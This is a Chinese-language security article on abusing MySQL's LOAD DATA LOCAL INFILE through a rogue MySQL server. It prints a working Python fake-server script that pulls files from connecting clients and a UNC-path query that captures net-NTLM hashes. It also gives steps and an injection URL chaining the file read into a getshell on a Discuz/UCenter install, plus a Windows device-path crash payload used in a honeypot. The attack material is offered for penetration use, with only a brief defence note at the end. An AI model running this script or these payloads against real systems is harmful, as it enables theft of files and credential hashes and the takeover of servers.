其他
MYSQL另类利用方式
1
利用LOAD DATA LOCAL
这应该是一个很早以前就爆出来的漏洞,经常打CTF的朋友们应该知道这个漏洞。
CTF中没办法load_file情况是很多的,这时候可以通过load data infile操作尝试读取客户端文件。
MYSQL官方提到了关于这个函数的不安全性:
攻击原理
简单来说,MySQL协议的一项特殊功能是客户端不跟踪请求的命令,仅根据服务器响应执行查询。
我们可以通过构造伪造的mysql的Server服务器,通过read data local infile命令读取受害文件。
函数讲解
此漏洞形成的主要原因在“LOAD DATA INFILE”这个函数。
官方文档解释如下:
“LOAD DATA INFILE”语句从一个文本文件中以很高的速度读入一个表中。如果指定LOCAL关键词,从客户主机读文件。如果LOCAL未指定,文件必须位于服务器上。
具体用例有两种,如下:
“load data infile "/etc/passwd" into table TestTable fields terminated by '分隔符';”,从本地服务器导入数据到规定的表里。
“load data local infile "/etc/passwd" into table TestTable fields terminated by '分隔符';”,从客户端导入数据到服务器上规定的表中。
先来看第一种,“从本地服务器导入数据到规定的表里”。
数据库服务器本地创建一个test.txt的文本写入Hello world,再尝试命令写入数据表中。
成功写入。
再来看第二种,“从客户端导入数据到服务器上规定的表中(漏洞实际利用点)”。
注意以下几点使用条件:
1.mysql服务器需要开启允许远程机器访问;
2.secure_auth为off(默认为off关闭状态);
3.secure_file_priv没有限制,无具体值,如果有值,如/tmp/,则只能读取写在该/tmp/目录下:
使用第一步,我们在Agent创建并写入文本内容“1.txt”:
“99”,“PASS1 ”“100” ,“PASS2 ”
查看服务器发现写入成功:
利用这个方法我们尝试读取agent etc/passwd:
读取agent的etc/passwd 的命令执行成功:
抓包分析
我们尝试读取客户端KALI上的/root/Desktop/1.txt文件,通过wireshark抓包分析:
首先服务器连接到TCP 3306端口,其次发送了Greeting包,包括协议、版本等信息:
接下来是登录认证包,其中也包括了LOAD DATA LOCAL的标志位:
初始化的一些查询,比如select @@version_comment limit 1:
我们接下来看关键执行函数的语句,这里客户端发起了向服务器端要求写入客户端的/root/Desktop/1.txt:
有意思的是,官方文档中关于这个函数写到了,服务器可以告诉客户端程序传输其选择的文件,而不是语句中指定的文件。
这样的服务器可以访问客户端用户具有读取权限的客户端主机上的任何文件。而且可以通过文件传输请求回复任何语句。
我们接下来看关键执行函数的语句,服务器的Respnse TABULAR确实也是携带/root/Desktop/1.txt的语句内容:
然后客户端向服务端发送了文件的内容:
从这个流程包我们可以发现服务器按照以下顺序发送到客户端:
首先打招呼(Greeting);
然后认证完成(Auth OK);
最后执行PAYLOAD;
简单来说,因为MYSQL没有对客户端发送的请求内容进行二次校验,客户端执行操作是由服务器的Respnse TABULAR来决定的。
我们可以通过这种方式设置一个伪造的MYSQL服务器并欺骗客户端进行语句执行。
举一个恶意利用的栗子:
伪造服务器(攻击方):Greeting!
服务器(受害者):登录请求(任意账户密码);
伪造服务器(攻击方):Authok!
服务器(受害者):请将我的XXX内容插入到XX表中;
伪造服务器:读取你本地的etc/passwd(执行payload);
服务器(受害者):发送/etc/passwd内容。
我们将其流量包中MYSQL协议内容,转换成Escapted sting,复制到vesiluoma公开POC中即可利用。
“Abusing MySQL clients to get LFI from the server/client – vesiluoma.com”
在这里,我们要注意该作者PAYLOAD部分,Payload = payloadlen + padding +“xxxxxxx”中的“xxxxx”带入了payloadlen以及padding需要删除。我们改写这段时候,需要记得修改payloadlen,即字符串的长度。
#!/usr/bin/python
#coding: utf8
import socket
# linux :
filestring = "/root/Desktop/1.txt"
# windows:
#filestring = "C:\\Windows\\system32\\drivers\\etc\\hosts"
HOST = "0.0.0.0" # open for eeeeveryone! ^_^
PORT = 3307
BUFFER_SIZE = 1024
#1 Greeting
greeting = "\x4a\x00\x00\x00\x0a\x35\x2e\x35\x2e\x35\x33\x00\x08\x00\x00\x00\x38\x4f\x65\x2e\x54\x3e\x77\x5d\x00\xff\xf7\x21\x02\x00\x0f\x80\x15\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x4d\x4b\x6e\x69\x43\x53\x55\x34\x40\x28\x45\x60\x00\x6d\x79\x73\x71\x6c\x5f\x6e\x61\x74\x69\x76\x65\x5f\x70\x61\x73\x73\x77\x6f\x72\x64\x00"
#2 Accept all authentications
authok = "\x07\x00\x00\x02\x00\x00\x00\x02\x00\x00\x00"
#3 Payload
payloadlen = "\x14"
padding = "\x00\x00"
payload = payloadlen + padding + "\x01\xfb\x2f\x72\x6f\x6f\x74\x2f\x44\x65\x73\x6b\x74\x6f\x70\x2f\x31\x2e\x74\x78\x74"
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
s.bind((HOST, PORT))
s.listen(1)
while True:
conn, addr = s.accept()
print 'Connection from:', addr
conn.send(greeting)
while True:
data = conn.recv(BUFFER_SIZE)
print " ".join("%02x" % ord(i) for i in data)
conn.send(authok)
data = conn.recv(BUFFER_SIZE)
conn.send(payload)
print "[*] Payload send!"
data = conn.recv(BUFFER_SIZE)
if not data: break
print "Data received:", data
break
# Don't leave the connection open.
conn.close()
成功执行:
INFILE 格式也支持 UNC 路径。如果连接到恶意 MySQL 服务器的客户端在 Windows 上运行,也可以使用以下查询检索 net-NTLM 哈希值:
“LOAD DATA LOCAL INFILE '\\\\xx.xx.xx.xx\test' into table mysql.test FIELDS TERMINATED BY "\n";”
2
实战拓展
pxpxyAdmin
将本地服务带有pxpxydmin的服务器的相关信息,存储到云上数据库。
前提条件:需要开启pxpxydmin的AllowArbitraryServer为True。
本地登录远程云数据库:
执行语句:
成功写入本地服务器E:\\test.txt内容:
Dixxxz x3.4 v20190917
原理是通过任意文件,读取到Ucenter中的UC_KEY,再通过UC_KEY生成code参数进行getshell。
先在本机其他端口执行伪造mysql脚本:
在Ucenter中,连接数据库指定本机的其他端口或者其他机器:
获取到UC_KEY的值:
接下来是常规的GETSHELL操作,修改Ucenter访问地址为:
“http://127.0.0.1/upload/uc_server');phpinfo();//”
使用UC_KEY,以及源码中的authcode方法本地生成code参数:
调用api/uc.php中的updateapps函数更新UC_API:
直接访问:
“http://127.0.0.1/upload/config/config_ucenter.php”
成功getshell:
蜜罐反制
链接:
“https://github.com/qigpig/MysqlHoneypot”
原理:蜜罐伪装成存在弱口令的MySQL服务器,当攻击者爆破出用户必会通过链接工具进行链接。
开启docker后,使用安装默认路径的微信的navicat的widnows进行链接后,在5000端口成功显示微信的wxid:
当然我们也可以结合其他一些漏洞如chrome 1day蓝屏漏洞,诱导使用navicat访问mysql导致攻击者蓝屏:
“PAYLOAD: \\.\globalroot\device\condrv\kernelconnect”
3
总结
那这个漏洞应该如何防御呢?
对于绝大部分的客户端来说,可以直接关闭load file local功能,并不会影响到正常的使用。
文中由于篇幅原因,没有将攻击的拓展展示全。像是Joomla v3.8.7、WordPress v4.9.5、Zabbix v3.4.8等也能遭受同样的攻击,甚至像是Excel中 MySQL 连接器一样可以被滥用:
Mysql这种攻击方法攻击虽然有限制,但是针对一些特殊的场景下还是可以作为拓展攻击面的一种很有效的方法。最重要的是打开咱们安服仔的渗透思维。
参考资料:
https://dev.mysql.com/doc/internals/en/com-query-response.html
https://www.vesiluoma.com/abusing-mysql-clients/
https://paper.seebug.org/1144/
https://w00tsec.blogspot.com/2018/04/abusing-mysql-local-infile-to-read.html
https://youtu.be/iBGbHYJAXSg
https://lorexxar.cn/2020/01/14/css-mysql-chain/
- END -
往期推荐